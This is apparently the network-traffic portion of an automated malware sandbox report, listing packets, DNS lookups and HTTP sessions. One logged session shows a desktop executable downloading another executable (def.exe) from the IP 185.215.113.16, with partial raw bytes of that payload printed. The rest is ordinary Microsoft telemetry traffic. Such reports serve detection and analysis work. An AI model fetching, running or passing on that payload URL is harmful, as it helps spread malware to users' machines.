Nov 24, 2024 08:45:41.524363041 CET	443	50087	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.524827957 CET	50087	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:41.524833918 CET	443	50087	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.638792038 CET	443	50086	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.641897917 CET	443	50086	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.641993046 CET	50086	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:41.642085075 CET	50086	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:41.642085075 CET	50086	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:41.642139912 CET	443	50086	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.642168045 CET	443	50086	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.956677914 CET	443	50087	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.956758976 CET	443	50087	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.956954002 CET	50087	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:41.957156897 CET	50087	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:41.957187891 CET	443	50087	13.107.246.63	192.168.2.10
Nov 24, 2024 08:45:41.957209110 CET	50087	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:45:41.957217932 CET	443	50087	13.107.246.63	192.168.2.10

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 08:43:41.843122005 CET	53162	53	192.168.2.10	1.1.1.1
Nov 24, 2024 08:43:41.986464024 CET	53	53162	1.1.1.1	192.168.2.10
Nov 24, 2024 08:44:17.571722984 CET	53	62511	1.1.1.1	192.168.2.10
Nov 24, 2024 08:44:17.591492891 CET	53	55216	1.1.1.1	192.168.2.10
Nov 24, 2024 08:44:20.399467945 CET	53	60991	1.1.1.1	192.168.2.10
Nov 24, 2024 08:44:20.779875040 CET	63309	53	192.168.2.10	1.1.1.1
Nov 24, 2024 08:44:20.780112982 CET	52606	53	192.168.2.10	1.1.1.1
Nov 24, 2024 08:44:20.917507887 CET	53	63309	1.1.1.1	192.168.2.10
Nov 24, 2024 08:44:20.917597055 CET	53	52606	1.1.1.1	192.168.2.10
Nov 24, 2024 08:44:24.779936075 CET	61159	53	192.168.2.10	1.1.1.1
Nov 24, 2024 08:44:24.780396938 CET	49574	53	192.168.2.10	1.1.1.1
Nov 24, 2024 08:44:28.008518934 CET	61573	53	192.168.2.10	1.1.1.1
Nov 24, 2024 08:44:28.008687019 CET	61838	53	192.168.2.10	1.1.1.1
Nov 24, 2024 08:44:32.811920881 CET	53	55591	1.1.1.1	192.168.2.10
Nov 24, 2024 08:44:32.911624908 CET	138	138	192.168.2.10	192.168.2.255
Nov 24, 2024 08:44:35.552329063 CET	55687	53	192.168.2.10	1.1.1.1
Nov 24, 2024 08:44:35.552819014 CET	55172	53	192.168.2.10	1.1.1.1
Nov 24, 2024 08:44:37.649806976 CET	53	55833	1.1.1.1	192.168.2.10
Nov 24, 2024 08:44:56.812342882 CET	53	55101	1.1.1.1	192.168.2.10
Nov 24, 2024 08:45:16.841773987 CET	53	53244	1.1.1.1	192.168.2.10
Nov 24, 2024 08:45:19.730503082 CET	53	57843	1.1.1.1	192.168.2.10

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 24, 2024 08:44:39.253190994 CET	192.168.2.10	1.1.1.1	c26a	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 24, 2024 08:43:41.843122005 CET	192.168.2.10	1.1.1.1	0x4274	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:44:20.779875040 CET	192.168.2.10	1.1.1.1	0xee92	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:44:20.780112982 CET	192.168.2.10	1.1.1.1	0x3299	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 24, 2024 08:44:24.779936075 CET	192.168.2.10	1.1.1.1	0x83c9	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:44:24.780396938 CET	192.168.2.10	1.1.1.1	0x60a3	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 24, 2024 08:44:28.008518934 CET	192.168.2.10	1.1.1.1	0x11f9	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:44:28.008687019 CET	192.168.2.10	1.1.1.1	0x5e97	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 24, 2024 08:44:35.552329063 CET	192.168.2.10	1.1.1.1	0xb927	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:44:35.552819014 CET	192.168.2.10	1.1.1.1	0x1dc5	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 24, 2024 08:43:41.986464024 CET	1.1.1.1	192.168.2.10	0x4274	No error (0)	property-imper.sbs		172.67.162.84	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:43:41.986464024 CET	1.1.1.1	192.168.2.10	0x4274	No error (0)	property-imper.sbs		104.21.33.116	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:44:20.917507887 CET	1.1.1.1	192.168.2.10	0xee92	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:44:20.917597055 CET	1.1.1.1	192.168.2.10	0x3299	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 24, 2024 08:44:24.916786909 CET	1.1.1.1	192.168.2.10	0x83c9	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:44:24.916786909 CET	1.1.1.1	192.168.2.10	0x83c9	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:44:24.916786909 CET	1.1.1.1	192.168.2.10	0x83c9	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:44:24.916786909 CET	1.1.1.1	192.168.2.10	0x83c9	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:44:24.918081045 CET	1.1.1.1	192.168.2.10	0x60a3	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:44:24.918081045 CET	1.1.1.1	192.168.2.10	0x60a3	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:44:25.171789885 CET	1.1.1.1	192.168.2.10	0x1d75	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:44:25.251348972 CET	1.1.1.1	192.168.2.10	0xa532	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:44:25.251348972 CET	1.1.1.1	192.168.2.10	0xa532	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:44:25.251348972 CET	1.1.1.1	192.168.2.10	0xa532	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:44:27.990999937 CET	1.1.1.1	192.168.2.10	0x4653	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:44:27.993491888 CET	1.1.1.1	192.168.2.10	0x4490	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:44:27.993491888 CET	1.1.1.1	192.168.2.10	0x4490	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:44:27.993491888 CET	1.1.1.1	192.168.2.10	0x4490	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:44:28.146581888 CET	1.1.1.1	192.168.2.10	0x11f9	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:44:28.146581888 CET	1.1.1.1	192.168.2.10	0x11f9	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:44:28.146581888 CET	1.1.1.1	192.168.2.10	0x11f9	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:44:28.146581888 CET	1.1.1.1	192.168.2.10	0x11f9	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 24, 2024 08:44:28.147013903 CET	1.1.1.1	192.168.2.10	0x5e97	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:44:28.147013903 CET	1.1.1.1	192.168.2.10	0x5e97	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:44:35.950449944 CET	1.1.1.1	192.168.2.10	0x1dc5	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:44:35.961611032 CET	1.1.1.1	192.168.2.10	0xb927	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:44:39.179892063 CET	1.1.1.1	192.168.2.10	0x87f3	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:44:39.249054909 CET	1.1.1.1	192.168.2.10	0xe9f3	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:44:46.206720114 CET	1.1.1.1	192.168.2.10	0x7ced	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 08:44:46.208003998 CET	1.1.1.1	192.168.2.10	0xed0d	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

otelrules.azureedge.net

property-imper.sbs

fs.microsoft.com

slscr.update.microsoft.com

https:

js.monitor.azure.com

wcpstatic.microsoft.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49781	185.215.113.16	80	7804	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:44:04.806937933 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 24, 2024 08:44:06.211174965 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 07:44:05 GMT Content-Type: application/octet-stream Content-Length: 2813440 Last-Modified: Sun, 24 Nov 2024 07:16:41 GMT Connection: keep-alive ETag: "6742d2d9-2aee00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 9c 94 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ ++`Ui` @ @.rsrc`2@.idata 8@pypdcipy*:@mkjngwpv @+@.taggant@`+"*@
Nov 24, 2024 08:44:06.211196899 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 08:44:06.211209059 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 08:44:06.211304903 CET	372	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 08:44:06.211325884 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 08:44:06.211337090 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 08:44:06.211350918 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 08:44:06.211363077 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 08:44:06.211412907 CET	896	IN	Data Raw: 74 b5 89 a8 65 50 08 49 0d b3 2c ab 4f df 10 08 43 70 43 7d 9c 65 91 24 0b 0b e4 77 2a 67 8e bc 8f fc b9 02 9b 44 57 52 b1 e5 72 e4 39 b5 65 62 9e bd 76 cc b1 31 17 c4 3f 45 95 87 2a b4 42 57 35 95 d6 49 b4 81 93 24 35 e1 8c 1d f3 8c ab f6 b3 7e Data Ascii: tePI,OCpC}e$wgDWRr9ebv1?EBW5I$5~{7i[npn*wWM55rU3CDQNRbMv6,E+4b7tgYRE9zZx)HuwovppDUGDs,VPh/L-\|%yzw\|h)Ntp9y4)`{
Nov 24, 2024 08:44:06.211424112 CET	1236	IN	Data Raw: 79 49 40 68 9b 81 3c 85 a6 72 fe 0a 18 7c 34 88 79 9d 74 ba ab a5 24 74 65 d8 1a be 7f 41 18 62 a9 40 e0 de 30 fd 89 10 18 e1 68 87 b9 50 00 db c1 39 f9 a6 89 42 f0 c8 f2 59 10 62 f9 7c e8 97 51 c5 16 22 0a cd 66 0a 45 35 4d f2 f5 f7 4c 0e 42 96 Data Ascii: yI@h<r\|4yt$teAb@0hP9BYb\|Q"fE5MLB*B"zIh3D`>1Iy!UXrHY}I_mJo)PwIJfia\|G?DNuV^.a0IDleG,gDGU[4VkQEQ2m1:$qX
Nov 24, 2024 08:44:06.331091881 CET	1116	IN	Data Raw: 5e 44 46 b7 45 f8 52 43 88 96 a1 55 19 53 41 21 4a 61 20 98 37 82 05 a7 09 71 16 a7 58 92 24 dd c1 6c 28 79 0b 96 30 8f 46 2b e1 87 bf cc 5d d6 fa 07 db e8 2f 5d 80 58 4f 2e a9 bb ff 6f c6 98 1b 46 86 45 7e 93 91 b4 97 77 4c 4c 4b be 3c 1b 14 24 Data Ascii: ^DFERCUSA!Ja 7qX$l(y0F+]/]XO.oFE~wLLK<$!OQ1lldCQK_Y59ksFFXkLkO;lAPikv3dUlz[(B\|[ir8TdJs<FW~vX:G)YMxOGM?dW_\|QP>8BG

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.10	49707	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:39 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:39 UTC	471	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:39 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 23 Nov 2024 12:15:37 GMT ETag: "0x8DD0BB889D4282C" x-ms-request-id: 19b35b80-c01e-0049-150a-3eac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074339Z-15b8b599d88phfhnhC1TEBr51n000000046000000000dyc5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:39 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-24 07:43:40 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-24 07:43:40 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-24 07:43:40 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-24 07:43:40 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-24 07:43:40 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
